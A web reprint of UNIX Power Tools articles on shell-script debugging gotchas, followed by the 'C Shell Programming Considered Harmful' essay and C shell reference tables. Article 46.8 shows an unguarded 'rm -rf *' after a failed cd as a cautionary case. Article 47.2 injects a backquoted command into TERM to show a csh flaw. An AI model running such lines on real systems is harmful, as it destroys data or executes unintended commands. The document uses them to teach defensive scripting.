Previous: 46.2 Quoting Trouble? Think, Then Use echo | UNIX Power Tools | Next: 46.4 Stop Syntax Errors in Numeric Tests
46.2 Quoting Trouble? Think, Then Use echo | Book Index | 46.4 Stop Syntax Errors in Numeric Tests
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 46] 46.4 Stop Syntax Errors in Numeric Tests

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 46.3 Bourne Shell Debugger Shows a Shell Variable Chapter 46
Shell Script Debugging and Gotchas 		Next: 46.5 Stop Syntax Errors in String Tests

46.4 Stop Syntax Errors in Numeric Tests

The test and [ (square bracket) commands (44.20) can compare two numbers. But it's an error if one of the numbers you test is stored in a shell variable that's empty or doesn't exist. For example, an empty num variable here will give you a Syntax error:

if [ "$num" -gt 0 ]
then ...

To stop syntax errors, add a leading zero, like this:

if [ "0$num" -gt 0 ]
then ...

In that case, if $num is empty, the test will compare 0 to 0. If $num is 1, the test will be true (because 01 is greater than 0)-and so on, just as it should be.

- JP

Previous: 46.3 Bourne Shell Debugger Shows a Shell Variable | UNIX Power Tools | Next: 46.5 Stop Syntax Errors in String Tests
46.3 Bourne Shell Debugger Shows a Shell Variable | Book Index | 46.5 Stop Syntax Errors in String Tests
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 46] 46.5 Stop Syntax Errors in String Tests

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 46.4 Stop Syntax Errors in Numeric Tests Chapter 46
Shell Script Debugging and Gotchas 		Next: 46.6 Watch Out for Bourne Shell -e Bug

46.5 Stop Syntax Errors in String Tests

Using the test or [ (square bracket) command (44.20) for a string test can cause errors if the variable starts with a dash (-). For example:

if [ "$var" = something ]
then ...

If $var starts with -r, the test command may think that you want to test for a readable file.

One common fix (that doesn't always work; see below) is to put an extra character at the start of each side of the test. This means the first argument will never start with a dash; it won't look like an option:

if [ "X$var" = Xsomething ]
then ...

That trick doesn't work if you want the test to fail when the variable is empty or not set. Here's a test that handles empty variables:

case "${var+X}" in
X) ...do this if variable is set...
   ;;

*) ...do this if variable is not set...
   ;;
esac

If $var is set (even if it has an empty string), the shell replaces ${var+X} (45.12) with just X and the first part of the case succeeds. Otherwise the default case, *), is used.

- JP

Previous: 46.4 Stop Syntax Errors in Numeric Tests | UNIX Power Tools | Next: 46.6 Watch Out for Bourne Shell -e Bug
46.4 Stop Syntax Errors in Numeric Tests | Book Index | 46.6 Watch Out for Bourne Shell -e Bug
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 46] 46.6 Watch Out for Bourne Shell -e Bug

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 46.5 Stop Syntax Errors in String Tests Chapter 46
Shell Script Debugging and Gotchas 		Next: 46.7 Quoting and Command-Line Parameters

46.6 Watch Out for Bourne Shell -e Bug

The Bourne shell -e option should stop execution when a command returns a non-zero status. Does your -e option seem to cause some if commands to abort scripts? If so, you have a copy of the Buggy Bourne Shell, as distributed with 4.2BSD, 4.3BSD, and probably several other systems. It can be identified by running:

$ set -e
$ if false; then echo yipe; else echo ok; fi

and noting that the shell exits instead of printing ok, and by:

||
$ set -e
$ false || echo ok

which also exits and should not, and by:

$ set -e
$ while false; do :; done

To fix it, first get the source, and then change it in the obvious three places in xec.c. You will have to learn Bournegol [the ALGOL-like dialect of C that Steve Bourne used to write the original Bourne shell-JP ]. Another alternative is to replace /bin/sh with one of the free sh look-alikes (1.8), provided you can find one that is enough alike.

As a workaround, you can set +e around all the tests that might fail. Unfortunately, some versions of the Buggy Bourne Shell do not even support set +e; here the only workaround is to run a subshell (38.4) without the -e flag.

- CT in comp.unix.questions on Usenet, 20 February 1990

Previous: 46.5 Stop Syntax Errors in String Tests | UNIX Power Tools | Next: 46.7 Quoting and Command-Line Parameters
46.5 Stop Syntax Errors in String Tests | Book Index | 46.7 Quoting and Command-Line Parameters
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 46] 46.7 Quoting and Command-Line Parameters

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 46.6 Watch Out for Bourne Shell -e Bug Chapter 46
Shell Script Debugging and Gotchas 		Next: 46.8 Test Built-In Commands for Failure

46.7 Quoting and Command-Line Parameters

Q: I need to pass a shell script some arguments with multiple words. I thought that putting quotes (8.14) around command-line arguments would group them. The shell script seems to ignore the quoting, somehow. Here's a simple example:

Q:

$ cat script
   ...
for arg in $*
do
    echo "Argument is $arg"
done
$ script '1 2 3' 4
   ...
Argument is 1
Argument is 2
Argument is 3
Argument is 4

A: This is the way $* is defined to work. $* expands to:

A:

$1 $2

A: [not <">$1<"> <">$2<">-JP ] if there are two arguments. Hence the for loop reads:

A:

for arg in 1 2 3 4

A: Note that the quotes are gone. What you wanted the shell to see was:

A:

for arg in '1 2 3' 4

A: You cannot get that, but you can get something that is Good Enough:

A:
"$@"
for arg in "$@"

A: In effect, $@ expands to:

A:

$1" "$2

A: Putting ""s around $@, the effect is:

A:

for arg in "$1" "$2"

A: Shell quoting is unnecessarily complex. The C shell actually has the right idea (variables can be set to "word lists" (47.5); argv is such a list), but its defaults and syntax for suppressing them make for an artless programming language:

A:

foreach arg ($argv:q)      # colon q ?!?

A: For the special case of iterating a shell variable over the argument list as it stands at the beginning of the iteration, the Bourne shell provides the construct for arg do [i.e., no in list-JP ]:

A:

for arg
do echo "Argument is $arg"
done

A: produces:

A:

Argument is 1 2 3
Argument is 4

A: "$@" is still needed for passing argument lists to other programs. Unfortunately, since $@ is defined as expanding to:

A:

$1" "$2...$n-1" "$n

A: (where n is the number of arguments), when there are no arguments:

A:

"$@"

A: expands to:

A:

""

A: and "" produces a single argument. [Many UNIX vendors considered this a bug and changed it so that it produces no arguments. -JP ] The best solution for this is to use, for example:

A:

% cat bin/okeeffe
#! /bin/sh
exec rsh okeeffe.berkeley.edu -l torek ${1+"$@"}
%

A: The construct ${1+"$@"} means "expand $1, but if $1 is defined, use "$@" instead." [You don't need this on Bourne shells with the "bug fix" I mentioned. -JP ] Hence, if there are no arguments, we get $1 (which is nothing and produces no arguments), otherwise we get "$@" (which expands as above). ${var+instead} is one of several sh \*(lqexpansion shortcuts\*(rq (45.12). Another more generally useful one is ${var-default}, which expands to $var, but if var is not set, to default instead. All of these can be found in the manual for sh, which is worth reading several times, experimenting as you go.

- CT in comp.unix.questions on Usenet, 18 March 1988

Previous: 46.6 Watch Out for Bourne Shell -e Bug | UNIX Power Tools | Next: 46.8 Test Built-In Commands for Failure
46.6 Watch Out for Bourne Shell -e Bug | Book Index | 46.8 Test Built-In Commands for Failure
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 46] 46.8 Test Built-In Commands for Failure

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 46.7 Quoting and Command-Line Parameters Chapter 46
Shell Script Debugging and Gotchas 		Next: 46.9 If Command Doesn't Return a Status, Test the Error Messages

46.8 Test Built-In Commands for Failure

Some old-timers in shell programming (myself included) tend to depend on shell "features" that they shouldn't. Here's one bad assumption: the Bourne shell will exit if the cd command fails. That wasn't documented (as far as I know), but, even so, people wrote scripts like this:

...
cd $somedir
rm -rf *

The Korn shell didn't have that undocumented behavior. If a cd failed, ksh would print an error message and keep on reading the script. That caused some infamous problems when Bourne shell users gave their scripts to the Korn shell!

Unless the behavior of a command is documented, don't count on it to keep a disaster from happening. In the preceding script, for example, the rm command removed everything from a directory different than $somedir. One thing that's worth doing: test the exit status of a built-in and quit if it returns non-zero status. For instance, the || operator (44.9) makes this script abort if the cd fails:

...
cd $somedir || exit
rm -rf *

Careful testing of scripts that could do something disastrous - trying to find places where they'll fail - can be worth the time. That's especially true when you run the script on a new system or with another shell: test the built-in commands' exit status after they fail.

- JP

Previous: 46.7 Quoting and Command-Line Parameters | UNIX Power Tools | Next: 46.9 If Command Doesn't Return a Status, Test the Error Messages
46.7 Quoting and Command-Line Parameters | Book Index | 46.9 If Command Doesn't Return a Status, Test the Error Messages
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 46] 46.9 If Command Doesn't Return a Status, Test the Error Messages

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 46.8 Test Built-In Commands for Failure Chapter 46
Shell Script Debugging and Gotchas 		Next: 46.10 A Portable echo Command

46.9 If Command Doesn't Return a Status, Test the Error Messages

UNIX commands should return a zero exit status (44.7) if they succeed or a non-zero status if they fail. Not all commands do. For example, here's a log I found of a test I did back in 1985 to the 4.3BSD version of touch (21.7):

$ touch /tmp
touch: /tmp: can only touch regular files
$ echo $?

$ touch -f /usr/src/usr.bin/touch.c
touch: /usr/src/usr.bin/touch.c: couldn't chmod: Not owner
$ echo $?

$ touch -z
touch: bad option -z
$ echo $?

Because the status was always zero, as if the command had succeeded, my shell scripts couldn't test the exit status for failure. A workaround is to make your own shell script version of touch (maybe call it mytouch)-or to put code like this into a shell script where you need to run touch: [1]

[1] Thanks to Richard Doty for this idea and the section of the shell script I've shown here.

2>&1

# RUN touch ON THE COMMAND LINE ARGUMENTS (INCLUDING ANY OPTIONS).
# MERGE stderr ONTO stdout AND TEST FOR ERROR MESSAGES:
out=`/bin/touch "$@" 2>&1`
case "$out" in
"")                                   exitstat=0;;
*bad\ option)                         exitstat=l ; echo "$out" 1>&2;;
*does\ not\ exist)                    exitstat=3 ; echo "$out" 1>&2;;
*can\ only\ touch\ regular\ files*)   exitstat=4 ; echo "$out" 1>&2;;
*couldn\'t\ chmod)                    exitstat=5 ; echo "$out" 1>&2;;
*couldn\'t\ chmod\ back)              exitstat=6 ; echo "$out" 1>&2;;
*cannot\ touch)                       exitstat=7 ; echo "$out" 1>&2;;
*)                                    exitstat=10; echo "$out" 1>&2;;
esac
exit $exitstat

That code handles many of the error exits; other errors get an exit status of 10. You could simplify the code to return a status of 1 on any error. On the other hand, it would be easy to expand that code to cover any possible (or interesting) error output. Article 27.19 shows how to get a list of many of the possible error messages; you can also see the errors by making some typical mistakes like unreadable or unwritable filenames.

That code won't work everywhere. The command you're running might write text to standard output that you don't want mixed together with error messages (on the standard error). Or, worse, some vendors' versions of some commands write errors to the standard output! Still, this technique should give you a good start on working around badly behaved UNIX commands.

- JP

Previous: 46.8 Test Built-In Commands for Failure | UNIX Power Tools | Next: 46.10 A Portable echo Command
46.8 Test Built-In Commands for Failure | Book Index | 46.10 A Portable echo Command
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 46] 46.10 A Portable echo Command

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 46.9 If Command Doesn't Return a Status, Test the Error Messages Chapter 46
Shell Script Debugging and Gotchas 		Next: 47. C Shell Programming...NOT

46.10 A Portable echo Command

One of the frustrating changes to UNIX (for me, at least) is the newer versions of echo (8.6) that interpret escape sequences like \c and \007. That feature is actually nice to have - usually, at least. But if the shell script has to work on both Berkeley and System V UNIX, it's a headache to write an echo command that prompts a user for an answer - with no newline at the end of the line. (bash users have a better - though less portable - answer: the -e and -E options explained at the end of the article.) With the original UNIX echo command, you write:

echo -n "Answer y for yes or n for no: "

but the newer echo needs:

echo "Answer y for yes or n for no: \c"

and giving the wrong command to the wrong echo makes messy output.

I've seen workarounds by Bruce Barnett and Liam R. E. Quin. I've turned them into this version. It sets shell variables that you use this way:

$echo "Answer y for yes or n for no: ${nnl}"

Can your shell script be set up for a particular UNIX version ahead of time? If it can, write your no - newline echo commands like the example above - and put the lines below at the top of your script:

# UN-COMMENT THE LINE FOR YOUR SYSTEM:
echo="echo -n"   nnl= ;;                                     # BSD
#echo="echo"      nnl="\c" ;;                                # Sys V
#echo="echo -n"   nnl=     PATH=/usr/bin:$PATH; export PATH  # SunOS

Lines similar to those let the person who installs the script set the right echo version.

But if your script is shared between many UNIX systems (across a networked filesystem) or runs on a system where users can choose BSD or System V features (like SunOS), your script will need to configure echo each time it runs. To do that, put the following code at the top of your script:

case "`echo 'x\c'`" in
'x\c')  echo="echo -n"   nnl= ;;       # BSD
x)      echo="echo"      nnl="\c" ;;   # Sys V
*)      echo "$0 quitting: Can't set up echo." 1>&2; exit 1 ;;
esac

In that code, the shell runs the current echo command and tests its output. Newer echo commands will interpret the \c and print x (with no newline after it; that doesn't matter here). Berkeley echo commands will echo the \c literally; this is matched by the first pattern instead.

You can handle other escape sequences and unprintable characters in the same way. For example, to make the code set $esc, a shell variable that makes an ESCape character, you can add lines like one of the two below:

`echo...\033`
esc=`echo -n d | tr "d" "\033"`     # BSDesc="\033"                          # Sys V

If you use bash, you can tell its echo command which way to act. The echo -e command always does backslash-escape interpretation. The echo -E command never interprets backslashes. And the option -n (no newline) works in both cases.

- JP

Previous: 46.9 If Command Doesn't Return a Status, Test the Error Messages | UNIX Power Tools | Next: 47. C Shell Programming...NOT
46.9 If Command Doesn't Return a Status, Test the Error Messages | Book Index | 47. C Shell Programming...NOT
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 47] C Shell Programming...NOT

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 46.10 A Portable echo Command Chapter 47 Next: 47.2 C Shell Programming Considered Harmful

47. C Shell Programming...NOT

Contents:
Why Not?
C Shell Programming Considered Harmful
Conditional Statements with if
C Shell Variable Operators and Expressions
Using C Shell Arrays
Quick Reference: C Shell switch Statement

47.1 Why Not?

We use the C shell for many of the interactive examples in this book. History, aliases, and so forth make it far superior to the original Bourne shell for interactive use. (The newer Korn Shell combines features from both. And bash adds even more.) However, csh has some major drawbacks when it comes to shell programming.

Tom Christiansen explains some of the reasons in his famous tract "C Shell Programming Considered Harmful," which we've included as article 47.2. If you find yourself bristling at the tone of this article, remember that it was originally posted to Usenet (1.33). It is an example of that art form known colloquially as a "flame." As flames go, this is actually fairly mild.

We agree with most of Tom's criticisms, and make no attempt to teach C shell programming in this book. We do however include a few quick-reference style articles on constructs that we use in articles about the C shell's setup files (2.2), since they are in effect nothing but C shell programs read when the shell starts up. Specifically, we cover the syntax of if (47.3) and switch (47.6) statements. We explain how to set and use C shell arrays (47.5)- a nice C shell feature that, we admit :-), the Bourne shell is missing. (The foreach (9.11) loop, covered in another chapter, could be put in this chapter, too.) C shell expressions (47.4) (like $?prompt) can be used in if, switch, and foreach.

- TOR, JP

Previous: 46.10 A Portable echo Command | UNIX Power Tools | Next: 47.2 C Shell Programming Considered Harmful
46.10 A Portable echo Command | Book Index | 47.2 C Shell Programming Considered Harmful
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 47] 47.2 C Shell Programming Considered Harmful

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 47.1 Why Not? Chapter 47
C Shell Programming...NOT 		Next: 47.3 Conditional Statements with if

47.2 C Shell Programming Considered Harmful

Resolved: the csh is a tool utterly inadequate for programming, and its use for such purposes should be strictly banned.

I am continually shocked and dismayed to see people write test cases, install scripts, and other random hackery using the csh.

The csh is seductive because the conditionals are more C-like, so the path of least resistance is chosen and a csh script is written. Sadly, this is a lost cause, and the programmer seldom even realizes it, even when he finds that many simple things he wishes to do range from cumbersome to impossible in the csh.

What's more, lack of proficiency in the Bourne shell has been known to cause errors in /etc/rc and .cronrc files, which is a problem, because you must write these files in that language.

47.2.1 File Descriptors

The most common problem encountered in csh programming is that you can't do file-descriptor manipulation. All you are able to do is redirect stdin, or stdout, or dup stderr into stdout. Bourne-compatible shells offer you an abundance of more exotic possibilities.

47.2.1.1 Writing Files

In the Bourne shell, you can open or dup random file descriptors. For example,

exec 2>errs.out

means that from then on, stderr goes into the errs.out file.

Or what if you just want to throw away stderr and leave stdout alone? Pretty simple operation, eh?

/dev/null
cmd 2>/dev/null

That works in the Bourne shell. In the C shell, you can only make a pitiful attempt like this:

/dev/tty
(cmd > /dev/tty) >& /dev/null

But who said that stdout was my terminal? So it's wrong. This simple operation cannot be done in the C shell.

Along these same lines, you can't direct error messages in csh scripts on stderr, as is considered proper. In the Bourne shell, you might say:

echo "$0: cannot find $file" 1>&2

but in the C shell, you can't redirect stdout onto stderr so you end up doing something silly like this:

sh -c "echo '${0}: cannot find $file' 1>&2"

47.2.1.2 Reading Files

In the csh, all you've got is $<, which reads a line from your tty. What if you've redirected stdin? Tough noogies, you still get your tty, which you really can't redirect. Now, the read statement in the Bourne shell allows you to read from stdin, which catches redirection. It also means that you can do things like this:

exec 3< file1
exec 4< file2

Now you can read from file descriptor 3 and get lines from file1, or from file2 through fd 4. In modern, Bourne-like shells, this suffices:

read some_var 0<&3
read another_var 0<&4

Although in older ones where read only goes from 0, you trick it:

exec 5<&0  # save old stdin
exec 0<&3; read some_var
exec 0<&4; read another_var
exec 0<&5  # restore it

47.2.1.3 Closing FDs

In the Bourne shell, you can close file descriptors you don't want open, like 2>&-, which isn't the same as redirecting it to /dev/null.

47.2.1.4 More Elaborate Combinations

Maybe you want to pipe stderr to a command and leave stdout alone. Not too hard an idea, right? As I mentioned above, you can't do this in the C shell. In a Bourne shell, you can do things like this:

$ exec 3>&1; grep yyy xxx 2>&1 1>&3 3>&- | sed s/file/foobar/ 1>&2 3>&-
grep: xxx: No such foobar or directory

Normal output would be unaffected. The fd closes (3>&-) were there in case something really cared about all its FDs. We send stderr to sed, and then put it back out FD 2.

Consider the pipeline:

A | B | C

You want to know the status of C, well, that's easy: it's in $?, or $status in csh. But if you want it from A, you're out of luck - if you're in the C shell, that is. In the Bourne shell, you can get it, although doing so is a bit tricky. Here's something I had to do where I ran dd's stderr into a grep -v pipe to get rid of the records in/out noise, but had to return the dd's exit status, not the grep's:

device=/dev/rmt8
dd_noise='^[0-9]+\+[0-9]+ records (in|out)$'
exec 3>&1
status=`((dd if=$device ibs=64k 2>&1 1>&3 3>&- 4>&-; echo $? >&4) |
   egrep -v "$dd_noise" 1>&2 3>&- 4>&-) 4>&1`
exit $status;

47.2.2 Command Orthogonality

47.2.2.1 Built-Ins

The csh is a horrid botch with its built-ins. You can't put them together in any reasonable way. Even a simple little thing like this:

% time | echo

while nonsensical, shouldn't give me this message:

Reset tty pgrp from 9341 to 26678

Others are more fun:

% sleep 1 | while
while: Too few arguments.
[5] 9402
% jobs
[5]     9402 Done                 sleep |

Some can even hang your shell. Try typing CTRL-z while you're sourceing something, or redirecting a source command. Just make sure you have another window handy.

47.2.2.2 Flow Control

You can't mix flow control and commands, like this:

who | while read line; do
    echo "gotta $line"
done

You can't combine multiline pipes constructs in a csh using semicolons. There's no easy way to do this:

alias cmd 'if (foo) then bar; else snark; endif'

47.2.2.3 Stupid Parsing Bugs

Certain reasonable things just don't work, like this:

% kill -1 `cat foo`
`cat foo`: Ambiguous.

But this is ok:

% /bin/kill -1 `cat foo`

If you have a stopped job:

[2]     Stopped              rlogin globhost

You should be able to kill it with:

% kill %?glob
kill: No match

but:

% fg %?glob

works.

White space can matter:

if(expr)

may fail on some versions of csh, while:

if (expr)

works!

47.2.3 Signals

In the C shell, all you can do with signals is trap SIGINT. In the Bourne shell, you can trap any signal, or the end-of-program exit. For example, to blow away a temporary file on any of a variety of signals:

trap 'rm -f /usr/adm/tmp/i$$ ;
    echo "ERROR: abnormal exit";
    exit' 1 2 3 15
trap 'rm tmp.$$' 0   # on program exit

47.2.4 Quoting

You can't quote things reasonably in the csh:

set foo = "Bill asked, \"How's tricks?\""

doesn't work. This makes it really hard (10.8) to construct strings with mixed quotes in them. In the Bourne shell, this works just fine. In fact, so does this:

cd /mnt; /usr/ucb/finger -m -s `ls \`u\``

Dollar signs ($) cannot be escaped in double quotes in the csh. Ugh.

set foo = "this is a \$dollar quoted and this is $HOME not quoted"
dollar: Undefined variable.

You have to use backslashes (\) for newlines, and it's just darn hard to get them into strings sometimes.

% set foo = "this \
and that";
% echo $foo
this  and that
% echo "$foo"
Unmatched ".

Say what? You don't have these problems in the Bourne shell, where it's just fine to write things like this:

echo    'This is
     some text that contains
     several newlines.'

47.2.5 Variable Syntax

There's this big difference between global -vironment) and local (shell) variables. In csh, you use a totally different syntax to set one from the other.

In Bourne shell, this:

VAR=foo cmds args

is the same as:

(export VAR; VAR=foo; cmd args)

or csh's:

(setenv VAR; cmd args)

You can't use :t, :h, etc. (9.6) on environment variables. Watch:

% echo Try testing with $SHELL:t
Try testing with /bin/csh:t

It's really nice to be able to say ${PAGER-more} or FOO=${BAR:-${BAZ}} (45.12) to be able to run the user's PAGER if set, and more otherwise. You can't do this in the csh. It takes more verbiage.

You can't get the process number of the last background command from the C shell, something you might like to do if you're starting up several jobs in the background. In the Bourne shell, the PID of the last command put in the background is available in $!.

The csh is also flaky about what it does when it imports an environment variable into a local shell variable, as it does with HOME, USER, PATH, and TERM. Consider this:

% setenv TERM '`/bin/ls -l / > /dev/tty`'
% csh -f

And watch the fun!

47.2.6 Expression Evaluation

Consider this statement in the csh:

if ($?MANPAGER) setenv PAGER $MANPAGER

Despite your attempts to set only PAGER when you want to, the csh aborts:

MANPAGER: Undefined variable.

That's because it parses the whole line anyway and evaluates it! You have to write this:

if ($?MANPAGER) then
    setenv PAGER $MANPAGER
endif

That's the same problem you have here:

% if ($?X && $X == 'foo') echo ok
X: Undefined variable

This forces you to write a couple of nested if statements. This is highly undesirable because it renders short-circuit Booleans useless in situations like these. If the csh were really C-like, you would expect to be able to safely employ this kind of logic. Consider the common C construct:

if (p && p->member)

Undefined variables are not fatal errors in the Bourne shell, so this issue does not arise there.

While the csh does have built-in expression handling, it's not what you might think. In fact, it's space-sensitive. This is an error:

@ a = 4/2

but this is okay:

@ a = 4 / 2

47.2.7 Error Handling

Wouldn't it be nice to know you had an error in your script before you ran it? That's what the -n flag is for: just check the syntax. This is especially good to make sure seldom taken segments of code are correct. Alas, the csh implementation of this doesn't work. Consider this statement:

exit (i)

Of course, they really meant:

exit (1)

or just:

exit 1

Either shell will complain about this. But if you hide this in an if clause, like so:

#!/bin/csh -fn
if (1) then
    exit (i)
endif

the C shell tells you there's nothing wrong with this script. The equivalent construct in the Bourne shell, on the other hand, tells you this:

#!/bin/sh -n
if (1) then
    exit (i)
endif

/tmp/x: syntax error at line 3: `(' unexpected

47.2.8 Random Bugs

Here's one:

!%s%x%s

Core dump, or garbage.

If you have an alias with backquotes (``), and use that in backquotes in another one, you get a core dump.

Try this:

% repeat 3 echo "/vmu*"
/vmu*
/vmunix
/vmunix

What???

While some vendors have fixed some of the csh's bugs (the tcsh (8.3) also does much better here), most of its problems can never be solved because they're a result of braindead design decisions. Do yourself a favor, and if you have to write a shell script, do it in the Bourne shell.

- TC

Previous: 47.1 Why Not? | UNIX Power Tools | Next: 47.3 Conditional Statements with if
47.1 Why Not? | Book Index | 47.3 Conditional Statements with if
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 47] 47.3 Conditional Statements with if

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 47.2 C Shell Programming Considered Harmful Chapter 47
C Shell Programming...NOT 		Next: 47.4 C Shell Variable Operators and Expressions

47.3 Conditional Statements with if

.login and .cshrc files" 1070 is the use of conditionals (if statements). This article explains the syntax of if statements. Article 47.4of explains the syntax of the expressions you can test with an if.

The if command is used to begin a conditional statement. The simple format is:

if (expr) cmd

There are three other possible formats, shown side-by-side:

if (expr) then   if (expr) then   if (expr) then
   cmds      cmds1      cmds1
endif   else   else if (expr) then
      cmds2      cmds2
   endif   else
         cmds3
      endif

In the simplest form, execute cmd if expr is true; otherwise do nothing (redirection still occurs; this is a bug). In the other forms, execute one or more commands. If expr is true, continue with the commands after then; if expr is false, branch to the commands after else (or after the else if and continue checking). For example, the following if clause will take a default action if no command-line arguments are given:

if ($#argv == 0) then
   echo "No filename given. Sending to Report."
   set outfile = Report
else
   set outfile = $argv[1]
endif

For more examples, see article 47.4.

- DG from O'Reilly & Associates' UNIX in a Nutshell (SVR4/Solaris)

Previous: 47.2 C Shell Programming Considered Harmful | UNIX Power Tools | Next: 47.4 C Shell Variable Operators and Expressions
47.2 C Shell Programming Considered Harmful | Book Index | 47.4 C Shell Variable Operators and Expressions
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 47] 47.4 C Shell Variable Operators and Expressions

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 47.3 Conditional Statements with if Chapter 47
C Shell Programming...NOT 		Next: 47.5 Using C Shell Arrays

47.4 C Shell Variable Operators and Expressions

47.4.1 Variables

In the following substitutions, braces ({}) are optional, except when needed to separate a variable name from following characters that would otherwise be a part of it. The array argv (the command-line arguments) is used as an example, but any csh array name may be used.
${var} | The value of variable var.
${var[i]} | Select word or words in position i of var. i can be a single number, a range m-n, a range -n (missing m implies 1), a range m- (missing n implies all remaining words), or * (select all words). i can also be a variable that expands to one of these values.
${#var} | The number of words in var.
${#argv} | The number of command-line arguments.
${argv[n]} | Individual arguments on command line (positional parameters). n is a number (1, 12, etc.).
${n} | Same as ${argv[n]}.
${argv[*]} | All arguments on command line.
$* | Same as $argv[*].
${argv[$#argv]} | The last argument.
${?var} | Return 1 if var is set; 0 if var is not set.
! ${?var} | Return 0 if var is set; 1 if var is not set.
$$ | Process number of current shell; useful as part of a filename for creating temporary files with unique names.
$< | Read a line from standard input.

47.4.2 Expressions

Expressions are used in C shell @, if, and while statements to perform arithmetic, string comparisons, file testing, and so on. exit and set can also specify expressions. Expressions are formed by combining variables and constants with operators that resemble those in the C programming language. Operator precedence is the same as in C but can be remembered as follows:

  1. * / %

  2. + -

Group all other expressions inside ( ). Parentheses are required if the expression contains <, >, &, or |.

47.4.3 Operators

Operators can be one of the following types:

47.4.3.1 Assignment Operators

= | Assign value.
+= -= | Reassign after addition/subtraction.
*= /= %= | Reassign after multiplication/division/remainder.
&= ^= |= | Reassign after bitwise AND/XOR/OR.
++ | Increment.
- | Decrement.

47.4.3.2 Arithmetic Operators

* / % | Multiplication; integer division; modulus (remainder).
c+ - | Addition; subtraction.

47.4.3.3 Bitwise and Logical Operators

~ | Binary inversion (one's complement).
! | Logical negation.
<< >> | Bitwise left shift; bitwise right shift.
& | Bitwise AND.
^ | Bitwise exclusive OR.
| | Bitwise OR.
&& | Logical AND.
|| | Logical OR.
{ cmd } | Return 1 if command cmd is successful; 0 otherwise. Note that this is the opposite of cmd's normal return code. The status variable may be more practical.

47.4.3.4 Comparison Operators

== != | Equality; inequality.
<= >= | Less than or equal to; greater than or equal to.
< > | Less than; greater than.
=~ | String on left matches a filename pattern on the right containing *, ?, or [...].
!~ | String on left does not match a filename pattern containing *, ?, or [...].

47.4.3.5 File Inquiry Operators

Command substitution and filename expansion are performed on file before the test is performed.
-d file | The file is a directory.
-e file | The file exists.
-f file | The file is a plain file.
-o file | The user owns the file.
-r file | The user has read permission.
-w file | The user has write permission.
-x file | The user has execute permission.
-z file | The file has zero size.
! | Reverse the sense of any of the above inquiries.

47.4.4 Examples

The following examples show @ commands and assume n = 4:
Expression | Value of $x
@ x = ($n > 10 || $n < 5) | 1
@ x = ($n >= 0 && $n < 3) | 0
@ x = ($n << 2) | 16
@ x = ($n >> 2) | 1
@ x = $n % 2 | 0
@ x = $n % 3 | 1

The following examples show the first line of if or while statements:
Expression | Meaning
while ($#argv != 0) | While there are command-line (argv) arguments ...
if ($today[1] == Fri) | If the first word is Fri...
if ($file !~ *.[zZ]) | If the file doesn't end with .z or .Z ...
if ($argv[1] =~ chap?) | If the first argument is chap followed by a single character...
if (-f $argv[1]) | If the first argument is a plain file...
if (! -d $tmpdir) | If tmpdir is not a directory...

- DG from O'Reilly & Associates' UNIX in a Nutshell (SVR4/Solaris)

Previous: 47.3 Conditional Statements with if | UNIX Power Tools | Next: 47.5 Using C Shell Arrays
47.3 Conditional Statements with if | Book Index | 47.5 Using C Shell Arrays
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 47] 47.5 Using C Shell Arrays

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 47.4 C Shell Variable Operators and Expressions Chapter 47
C Shell Programming...NOT 		Next: 47.6 Quick Reference: C Shell switch Statement

47.5 Using C Shell Arrays

The C shell can treat its shell variables as word lists. They're a lot like arrays (52.9) in other programming languages, so that's what I'll call them. The C shell's path (6.5), cdpath (14.5), and mail (21.8) shell variables are arrays, for example. By the way, arrays are great for storing information in your shell setup files (2.2).

To set an array, use parentheses around the value. Put a space between array members. Inside the parentheses, you can use single quotes, backquotes, double quotes, and so on. Here's how to put fix the report in the first member of the job array and resign as the second member:

% set job=("Fix the report" resign)

